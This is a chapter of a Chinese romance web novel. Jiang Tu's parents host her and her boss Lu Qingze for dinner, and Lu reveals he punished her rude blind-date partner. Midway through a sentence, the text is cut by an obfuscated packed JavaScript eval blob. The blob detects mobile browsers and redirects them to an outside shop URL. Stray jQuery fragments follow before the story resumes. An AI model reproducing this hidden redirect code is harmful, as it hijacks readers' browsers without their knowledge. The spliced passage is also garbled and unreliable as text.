57. 57

作品:《痒瘾

    直至褚晓红看着陆清泽跟自己的宝贝女儿并肩坐在饭桌的对角一侧,她还是有种不切实际的错觉。


    很难想象曾经优秀的少年竟晃身一变成为了年轻有为的少杰,如今甚至还成了自己女儿的顶头上司,大老板,完全跨越了阶级,跟她们这样的工薪阶层不可同日而语。


    真是三十年河东,三十年河西。


    在她那模糊而久远的记忆里,陆清泽是个原生家庭非常可怜并且沉默寡言看不透他内心所想的一个男孩。


    好赌的爸,生病的妈,还有一个破碎的他。


    褚晓红夫妇作为劳动人民,心地还是比较善良的。


    作为同一栋楼的邻居,在居委会楼组长的召集下,左邻右里都为了陆家多少出过绵薄之力,而首当其中跟陆家最交好的无疑便是离得最近的姜家。


    陆清泽父亲常年不着家,母亲又是个卧病在床的林黛玉,所以褚晓红那时经常会多做一些饭菜让陆清泽吃完再带回去,在她看来不过是多一双筷子的事。


    “阿姨,真的很感谢您跟叔叔当年为我做的一切,我都感怀在心。”


    这会儿听到陆清泽真诚的道谢,她隐约觉得受之有愧,毕竟当年真的没想过要得到些什么,如今姜涂尚未毕业就能得到如此难得的实习机会,这一切都归功于陆清泽的涌泉相报。


    “都是举手之劳罢了,你千万不要那样想,整得阿姨心虚得很。”


    姜德民不断从厨房端了大鱼大肉出来,姜涂帮忙打下手,一老一小一前一后端着盘子进进出出,不一会儿餐桌上就堆满了丰盛的晚餐。


    琳琅满目,色香味俱全,全是姜涂爱吃的。


    “哎,泽泽,”褚晓红照旧按照小时候那样喊陆清泽,增添了一丝亲昵,算是一种表态:“都怪涂涂不打招呼,害得我都没准备你爱吃的松鼠桂鱼,我记得你小时候喜欢吃鱼是不是?”


    姜涂不怎么爱吃鱼,觉得刺多,童年时期还被刺哽到过嗓子眼,因此有了阴影,但陆清泽爱吃,褚晓红经常会给陆清泽开小灶烧鱼吃。


    比起褚晓红,姜涂的注意力此时全在面前的饭桌上,根本无暇顾及其他,她拿着手机用不同角度拍了好几张照,有股久违的归属感,仿佛回到了曾经单纯美好的小时光。


    她下意识侧目看向陆清泽,向他绽放一枚灿烂到璀璨的笑容:“清泽哥哥,今天的菜好丰盛哦,咱们有福啦。”


    陆清泽心里泛起柔情,伸手抚上姜涂的脑袋,轻轻揉了揉,语气宠溺:“是呢,今天打牙祭了,我也沾到光啦。”


    褚晓红听到他讲话的语气,作为过来人和前辈,她心里咯噔一下,眼神在对面的两人之间来回穿梭,一种微妙的猜测瞬间浮现脑海中。


    她微微蹩眉,但场面上并没有说什么。


    姜父明显也感受到了当下的氛围,跟自己的妻子心有灵犀地对视一眼,两人眼底默契地同时涌起了隐隐的担忧。


    “来,泽泽,吃菜。”褚晓红像过去那样替两个孩子不断夹菜,不一会儿姜涂和陆清泽的碗里就堆起了小山。


    姜德民这些年被磨平了棱角,见人都是笑呵呵的,不再具备攻击性,他自嘲是服老的表现。


    他看着眼前一表人才风清月朗的青年才俊,满意地点点头,同陆清泽寒暄着:“小陆啊,你说你,来就来呗,还带这么多贵重的烟酒礼品做什么,太客气了。”


    陆清泽摆摆手:“应该的,叔叔,多谢你们以前这么久的照顾,我才有今天,小小礼物不成敬意,你们才是不要跟我客气。”


    他的场面话说得极其漂亮,言辞恳切,脸上一脸真诚,任谁都无法认为他是在假惺惺。


    “好了好了,你们都不要那么拘谨了,”褚晓红开始打圆场,她在饭桌底下偷偷踹了姜涂一脚,后者吃痛,终于舍得把脸从饭碗前抬起来,“姜涂,你工作怎么样?还适应吗?你看你都瘦了,是不是很辛苦?”


    姜涂不想在父母跟前抱怨工作的事,她也是典型报喜不报忧的孩子,被母亲这么一问,干脆选择最不费功夫心力的回答。


    “不辛苦啊,有清泽哥哥我怎么可能会辛苦,他帮我很多呢。”


    边说着边侧目挑着眉给了陆清泽一脸色,后者则识相配合地点点头。


    仿佛一回到家,姜涂就卸下了心防,变得活泼可爱随意起来,这是陆清泽许久见不到的姜涂,其实在两人长大成人前,他们彼此就是这样长大的,不过他年少时没有现在这样热络罢了。


    “那就好,但是你也别太麻烦小陆了,人要学会自己成长,知道吗?那你以后怎么打算,毕业了还是继续留在泽泽的公司吗?会不会太麻烦泽泽了。”


    “怎么会呢阿姨,姜涂特别优秀,不过几个月就已经可以公司接待西班牙的VIP大客户了,拿下订单指日可待,现在我的公司没有姜涂可不行。”


    陆清泽睁眼说瞎话的功夫已经到了炉火纯青的程度,这一下把姜涂捧得太高,不知道的人恐怕会误以为她是“清科”的核心大人物呢。


    “清泽哥哥你别捧杀我啊,”她暗自甩了个眼刀过去,“我就是个部门小助理,可别给我戴高帽,而且现在订单都八字没一撇的,你可别半场开香槟。”


    姜父姜母见她跟出国前的性格没什么两样,不由得都松了口气,姜涂在英国做交换生的时期,经常会打电话报平安,偶尔也会说一些留学期间的趣事,会给他们打视频,让他们看看自己的现状,但自从去年底,姜涂同他们就联络的少了,只有苍白文字的报平安。


    所以姜父姜母嘴上不说,骨子里却很担心怕女儿孤身一人在国外是不是遇到了什么不开心的事或者不好的人。


    但他们总是怕说错话让敏感的女儿会错意,最后干脆选择了不说,回国的事姜涂也只是提前一周告诉了他们,让他们不要担心。


    褚晓红想过是不是要跟姜德民一起去女儿的大学看看她,又怕自己一路奔波灰头土脸的模样让女儿丢了份,因为家里做生意破产,举家搬迁,自姜涂成年后,他们在内心深处总是对姜涂心怀愧疚,因为相处之道变得更加小心翼翼起来。


    可今天女儿开朗轻快的表现,却让他们夫妻俩不约而同地松了口气。


    “涂涂,妈妈要跟你说声对不起。”


    见母亲欲言又止,姜涂有些不解:“啊?怎么了妈,突然没头没尾的?”


    “这次相亲……都怪妈硬让你去,妈不知道梁阿姨那儿子这么离谱……我都听说了,他还泼你饮料了是不是?”


    姜涂没跟爸妈唠叨过梁岩的事,也不知道是从哪儿走漏了风声,“你们是怎么知道的?”


    “昨天梁阿姨带着他儿子梁岩突然登门道歉,你都不跟我说这些,我刚开始也是一脸纳闷,后来听他们说了前因后果才知道我女儿受委屈了,当时给我气的呀!”


    “啊?他们怎么会突然……”


    姜涂才更是莫名其妙,完全理解不了梁岩的所作所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689509|180394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为,就相处的那短暂的几十分钟,她不认为梁岩是会主动认错道歉的人,更何况她还没有告状呢,怎么梁岩自己就先滑跪了。


    不过很快,她就从褚晓红嘴里知道了答案。


    “梁阿姨和梁岩简直要跪下求我了,一把鼻涕一把泪的,哭着说希望我们一家能原谅他们犯下的错,还要让我写谅解书,不然梁岩单位的工作就保不住了。我寻思虽然他是没素质没礼貌在先,但也不至于把事情搞这么大啊,我跟你爸一合计,可能是有在场的人认出了他,举报到他单位里去了吧。”


    姜涂立刻领悟,瞥了一眼身旁的陆清泽,她瞪大眼睛问:“是你干的?”


    “什么?泽泽当时也在场?”


    陆清泽坦率回应:“是的,阿姨,我看到涂涂的相亲对象了,也目击到那个臭男人伤害她,对她出言不逊,完全不尊重她。作为跟姜涂从小一起长大的哥哥,我没法容忍姜涂受这样的委屈,所以想办法投诉到他公司去了。”


    以姜涂对陆清泽的了解,他对梁岩的恐吓应该不仅如此,否则梁岩这种人恐怕不会低头的。


    “那你除此之外,还做了什么?”


    陆清泽神色自豪:“我让他全网连续跟你道歉30天。”


    “……”


    陆清泽继而补充道:“我知道你不想见梁岩的脸,所以让他分别用文字以及实名视频的形式,连续30天在全网置顶对你的道歉。”


    “……你是不是有点夸张?他是做错了,但也没必要赶尽杀绝啊。”


    怎么感觉更丢脸了?


    这下好了,全网都要知道她被垃圾相亲男泼咖啡的糗事了,社会性死亡。


    “夸张?赶尽杀绝?有吗?比起他对你做的那些过分的事,我对他的惩罚已经够轻了,我答应他只要按照我的要求去做,至少不会让他丢掉工作,虽然他已经很难在IT行业深耕了。”


    姜涂嘴巴张成了O字型,在见识到陆清泽的铁血手腕后她甚至有点同情起梁岩来了。


    “好了好了,这件事翻篇了,昨天梁阿姨他们来我家要我写谅解书,我了解前因后果后,觉得不能单方面原谅他们,所以今天才打电话让你回家一趟,是想听听你的想法,你要是不乐意,咱就不写,咱可不做那受气包圣母!”


    姜涂思考了片刻,“算了吧,我大人不记小人过,万一真的不给他们活路,他们想不开跟我们鱼死网破怎么办?就是以后他们再来骚扰你们,别搭理就是了。”


    “好好好,我女儿大人有大量,真善良。”


    “不过我有几个要求啊,”姜涂觉得还是不能让相亲这件事没完没了地继续下去,她清了清嗓子:“一,以后不许再喊我相亲了,我是新时代女性,我要自由恋爱,不整相亲那一套!二,爸妈以后要是想我,必须主动给我打电话!我要是有时间,一定会赶回来看望你们的。我现在工作确实挺忙的,虽忙碌却很充实,我过得很好,你们不用担心,我已经长大了!三,最重要的一点,你们要照顾好自己的身体,家里有什么情况一定要第一时间跟我说,别因为怕我担心就忍着不说,我们是一家人,不许瞻前顾后的,好不好?”


    这是褚晓红和姜德民时隔多年再度听到女儿真实的心声。


    她似乎真的长大了,曾经的叛逆和隔阂变得透明,将血亲之间的亲昵再度用温柔的彼此理解和包容缝合了起来。


    作为姜涂的父母,他们真的很为自己的女儿感到自豪和欣慰。